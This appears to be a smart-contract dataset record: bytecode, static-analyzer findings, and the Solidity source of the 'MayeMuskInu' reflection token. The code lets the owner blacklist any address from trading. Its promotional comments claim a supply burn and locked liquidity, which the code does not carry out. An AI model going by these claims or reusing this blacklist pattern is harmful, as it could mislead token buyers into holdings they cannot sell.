01876129c2565b608001356040518263ffffffff1660e01b81526004016000604051808303818588803b158015610fd757600080fd5b505af1158015610feb573d6000803e3d6000fd5b505050505061101973c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28886806040019061044891906129c2565b61102660208601866122ae565b15611102577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c861105260408801886129c2565b608001358b61106460408a018a6129c2565b6080013561107560408b018b6129c2565b60a0013561108660808c018c6128f3565b6040518763ffffffff1660e01b81526004016110a695949392919061257e565b6020604051808303818588803b1580156110bf57600080fd5b505af11580156110d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f891906122e6565b60408201526111ce565b7311111112542d85b3ef69ae05771c2dccff4faa26637c02520061112960408801886129c2565b6080013561113d6040890160208a0161216e565b61114a60408a018a6129c2565b61115760608b018b61295f565b6040518663ffffffff1660e01b81526004016111769493929190612493565b60408051808303818588803b15801561118e57600080fd5b505af11580156111a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111c791906122fe565b5060408201525b6111dd83888360400151611c9b565b8673ffffffffffffffffffffffffffffffffffffffff16638dbdbe6d826040015186806040019061120e91906129c2565b60800135896040518463ffffffff1660e01b8152600401611231939291906128c7565b606060405180830381600087803b15801561124b57600080fd5b505af115801561125f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112839190612321565b60208401819052818452604080850180519390930390925291506112a9908601866129c2565b60800135036060820152604081015115610f3157610f3183878360400151611fbd565b6112d960208601866122ae565b156113b5577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c861130560408801886129c2565b608001358b61131760408a018a6129c2565b6080013561132860408b018b6129c2565b60a0013561133960808c018c6128f3565b6040518763ffffffff1660e01b815260040161135995949392919061257e565b6020604051808303818588803b15801561137257600080fd5b505af1158015611386573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113ab91906122e6565b6040820152611481565b7311111112542d85b3ef69ae05771c2dccff4faa26637c0252006113dc60408801886129c2565b608001356113f06040890160208a0161216e565b6113fd60408a018a6129c2565b61140a60608b018b61295f565b6040518663ffffffff1660e01b81526004016114299493929190612493565b60408051808303818588803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061147a91906122fe565b5060408201525b61148e60208501856122ae565b1561156a577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c86114ba60408701876129c2565b608001358b6114cc60408901896129c2565b608001356114dd60408a018a6129c2565b60a001356114ee60808b018b6128f3565b6040518763ffffffff1660e01b815260040161150e95949392919061257e565b6020604051808303818588803b15801561152757600080fd5b505af115801561153b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061156091906122e6565b6060820152611636565b7311111112542d85b3ef69ae05771c2dccff4faa26637c02520061159160408701876129c2565b608001356115a5604088016020890161216e565b6115b260408901896129c2565b6115bf60608a018a61295f565b6040518663ffffffff1660e01b81526004016115de9493929190612493565b60408051808303818588803b1580156115f657600080fd5b505af115801561160a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061162f91906122fe565b5060608201525b61164583888360400151611c9b565b61165482888360600151611c9b565b8673ffffffffffffffffffffffffffffffffffffffff16638dbdbe6d82604001518360600151896040518463ffffffff1660e01b8152600401611699939291906128c7565b606060405180830381600087803b1580156116b357600080fd5b505af11580156116c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116eb9190612321565b6020840181905281845260408401805192909203918290526060840180519190910390521590506117255761172583878360400151611fbd565b60608101511561173e5761173e82878360600151611fbd565b505050610757565b6117528933308b611e5b565b611771897311111112542d85b3ef69ae05771c2dccff4faa268a611c9b565b8273ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156117c0576117b260408601866129c2565b608001356040820152611953565b6117cd60208601866122ae565b15611898577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c88a6117fa60408901896129c2565b6080013561180b60408a018a6129c2565b60a0013561181c60808b018b6128f3565b6040518663ffffffff1660e01b815260040161183c95949392919061257e565b602060405180830381600087803b15801561185657600080fd5b505af115801561186a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188e91906122e6565b6040820152611953565b7311111112542d85b3ef69ae05771c2dccff4faa26637c0252006118c2604088016020890161216e565b6118cf60408901896129c2565b6118dc60608a018a61295f565b6040518563ffffffff1660e01b81526004016118fb9493929190612493565b6040805180830381600087803b15801561191457600080fd5b505af1158015611928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194c91906122fe565b5060408201525b8173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156119a25761199460408501856129c2565b608001356060820152611636565b6119af60208501856122ae565b15611a70577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c88a6119dc60408801886129c2565b608001356119ed60408901896129c2565b60a001356119fe60808a018a6128f3565b6040518663ffffffff1660e01b8152600401611a1e95949392919061257e565b602060405180830381600087803b158015611a3857600080fd5b505af1158015611a4c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156091906122e6565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200611a9a604087016020880161216e565b611aa760408801886129c2565b611ab4606089018961295f565b6040518563ffffffff1660e01b8152600401611ad39493929190612493565b6040805180830381600087803b158015611aec57600080fd5b505af1158015611b00573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162f91906122fe565b6000611bd9827f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b3738473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611b8491906123e9565b60206040518083038186803b158015611b9c57600080fd5b505afa158015611bb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd491906122e6565b611fbd565b5060015b919050565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051611c1991906123b0565b60006040518083038185875af1925050503d8060008114611c56576040519150601f19603f3d011682016040523d82523d6000602084013e611c5b565b606091505b5050905080611c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906126d8565b505050565b6040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e90611cf2903090879060040161240a565b60206040518083038186803b158015611d0a57600080fd5b505afa158015611d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4291906122e6565b1115611dd0576040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063095ea7b390611d9d908590600090600401612462565b600060405180830381600087803b158015611db757600080fd5b505af1158015611dcb573d6000803e3d6000fd5b505050505b6040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063095ea7b390611e249085908590600401612462565b600060405180830381600087803b158015611e3e57600080fd5b505af1158015611e52573d6000803e3d6000fd5b50505050505050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b868686604051602401611e9293929190612431565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909416939093179092529051611f1b91906123b0565b6000604051808303816000865af19150503d8060008114611f58576040519150601f19603f3d011682016040523d82523d6000602084013e611f5d565b606091505b5091509150818015611f87575080511580611f87575080806020019051810190611f8791906122ca565b610757576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906127b4565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b8585604051602401611ff2929190612462565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090941693909317909252905161207b91906123b0565b6000604051808303816000865af19150503d80600081146120b8576040519150601f19603f3d011682016040523d82523d6000602084013e6120bd565b606091505b50915091508180156120e75750805115806120e75750808060200190518101906120e791906122ca565b61211d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103609061270f565b5050505050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b8035611bdd81612a62565b600060a08284031215612168578081fd5b50919050565b60006020828403121561217f578081fd5b813561218a81612a62565b9392505050565b6000602082840312156121a2578081fd5b815161218a81612a62565b6000806000606084860312156121c1578182fd5b83356121cc81612a62565b925060208401356121dc81612a62565b9150604084013567ffffffffffffffff8111156121f7578182fd5b61220386828701612157565b9150509250925092565b60008060008060008060c08789031215612225578182fd5b863561223081612a62565b955060208701359450604087013561224781612a62565b9350606087013561225781612a62565b9250608087013567ffffffffffffffff80821115612273578384fd5b61227f8a838b01612157565b935060a0890135915080821115612294578283fd5b506122a189828a01612157565b9150509295509295509295565b6000602082840312156122bf578081fd5b813561218a81612a87565b6000602082840312156122db578081fd5b815161218a81612a87565b6000602082840312156122f7578081fd5b5051919050565b60008060408385031215612310578182fd5b505080516020909101519092909150565b600080600060608486031215612335578283fd5b8351925060208401519150604084015190509250925092565b73ffffffffffffffffffffffffffffffffffffffff169052565b600082845282826020860137806020848601015260207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f85011685010190509392505050565b60008251815b818110156123d057602081860181015185830152016123b6565b818111156123de5782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b901515815260200190565b600073ffffffffffffffffffffffffffffffffffffffff86168252606060208301526124ca606083016124c58761214c565b61234e565b6124d66020860161214c565b6124e3608084018261234e565b506124f06040860161214c565b6124fd60a084018261234e565b5061250a6060860161214c565b61251760c084018261234e565b50608085013560e083015261010060a08601358184015260c086013561012084015261254660e08701876129ff565b8261014086015261255c61016086018284612368565b925050508281036040840152612573818587612368565b979650505050505050565b600073ffffffffffffffffffffffffffffffffffffffff87168252856020830152846040830152608060608301528260808301527f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8311156125de578081fd5b60208302808560a08501379190910160a00190815295945050505050565b60208082526003908201527f4954310000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526004908201527f4e41543000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5541300000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526004908201527f4e41543100000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5354450000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f5354000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5541310000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f4941000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5354460000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f4241000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f4954300000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f424f000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f544e410000000000000000000000000000000000000000000000000000000000604082015260600190565b928352602083019190915273ffffffffffffffffffffffffffffffffffffffff16604082015260600190565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112612927578283fd5b83018035915067ffffffffffffffff821115612941578283fd5b602090810192508102360382131561295857600080fd5b9250929050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112612993578182fd5b83018035915067ffffffffffffffff8211156129ad578283fd5b60200191503681900382131561295857600080fd5b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018336030181126129f5578182fd5b9190910192915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112612a33578283fd5b830160208101925035905067ffffffffffffffff811115612a5357600080fd5b80360383131561295857600080fd5b73ffffffffffffffffffffffffffffffffffffffff81168114612a8457600080fd5b50565b8015158114612a8457600080fdfea2646970667358221220a10690e7e0f0af3c4f02ade8daa48cd49820dc430e57ff69028e29c595f573de64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,954
0xe0c2a68862d7f86da7d32eb277d55c45c5134aa5
// SPDX-License-Identifier: Unlicensed //Dedicated for the person behind THE MAN OF THE YEAR - Maye Musk //Read her new book- A WOMAN MAKES a PLAN //https://t.me/mayemuskinu //https://mayemuskinu.com //https://twitter.com/mayemuskinu //Stealth launch //No Team Tokens //Suplly 1,000,000,000,000 $MAYE //50% of supply burned on launch //50% in LP //Liquidity locked //Renounce ownership //Tax: 5% Marketing 5% Team 2% Reflection pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MayeMuskInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MayeMuskInu"; string private constant _symbol = "MAYE"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f4d6179654d75736b496e75000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffff